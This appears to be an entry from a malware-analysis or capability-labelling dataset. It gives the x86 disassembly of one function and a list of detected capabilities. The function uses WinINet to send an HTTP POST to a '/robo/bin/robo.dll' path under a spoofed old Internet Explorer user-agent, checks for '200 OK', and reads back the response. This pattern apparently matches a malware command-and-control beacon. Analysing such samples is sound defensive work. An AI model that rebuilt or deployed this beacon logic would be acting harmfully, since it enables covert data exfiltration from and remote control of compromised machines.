Function at 0x413bd0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
sub esp, 0x628
push esi
xor esi, esi
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible__MSIE_5.5__Windows_NT_4.0_
mov dword [esp + 0x1c], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esp + 0x14], eax
je 0x413e8a
mov esi, dword [esp + 0x630]
push ebx
push ebp
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call sub.MFC42.DLL_operatornew
mov ebx, dword [sym.imp.MSVCRT.dll__mbsstr]
mov ebp, eax
push 0x4323f8
push esi
mov dword [esp + 0x28], ebp
call ebx
add esp, 0xc
test eax, eax
je 0x413c62
lea edi, [eax + 2]
or ecx, 0xffffffff
xor eax, eax
push 0x4323f4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebx
add esp, 8
test eax, eax
je 0x413c62
mov byte [eax], 0
jmp 0x413c66
mov byte [ebp], 0
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x413e72
mov ecx, dword [esp + 0x20]
push eax
push eax
push 3
push eax
push 0x4323f0
push 0x50
push ebp
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x28], ebx
je 0x413e67
push 0
push 0
push 0
push 0
push 0
push str._robo_bin_robo.dll_mgrsyscmdupdinf
push str.POST
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
mov dword [esp + 0x18], esi
je 0x413e60
mov edx, dword [esp + 0x644]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov edx, dword [esp + 0x648]
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x413e59
lea edx, [esp + 0x24]
lea eax, [esp + 0x2c]
push edx
lea ecx, [esp + 0x23c]
push eax
push ecx
xor edi, edi
push 0x16
push esi
mov dword [esp + 0x40], 0x400
mov dword [esp + 0x38], edi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
lea edx, [esp + 0x238]
push str.200_OK
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x413e59
push 0x105
lea eax, [esp + 0x34]
push edi
push eax
call dword [sym.imp.MSVCRT.dll__mbsnbset]
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x30]
mov dword [esp + 0x10], edi
push ecx
push 0x104
push edx
push esi
xor ebx, ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x413e3d
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x413e41
lea ebx, [ebx + eax + 1]
push ebx
call sub.MFC42.DLL_operatornew
mov ebp, eax
push ebx
push 0
push ebp
call dword [sym.imp.MSVCRT.dll__mbsnbset]
mov edx, dword [esp + 0x24]
add esp, 0x10
test edx, edx
je 0x413dd2
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
push edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MFC42.DLL_operatordelete
add esp, 4
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
push 0x105
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x38]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x20], ebp
call dword [sym.imp.MSVCRT.dll__mbsnbset]
mov eax, dword [esp + 0x24]
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x30]
push ecx
push 0x104
push edx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ebp, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
test eax, eax
jne 0x413d7d
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x138]
push 0xa
push ecx
push eax
call dword [sym.imp.MSVCRT.dll__itoa]
mov ebx, dword [esp + 0x34]
add esp, 0xc
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [esp + 0x20]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call sub.MFC42.DLL_operatordelete
mov eax, dword [esp + 0x18]
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x628
ret
mov eax, esi
pop esi
add esp, 0x628
ret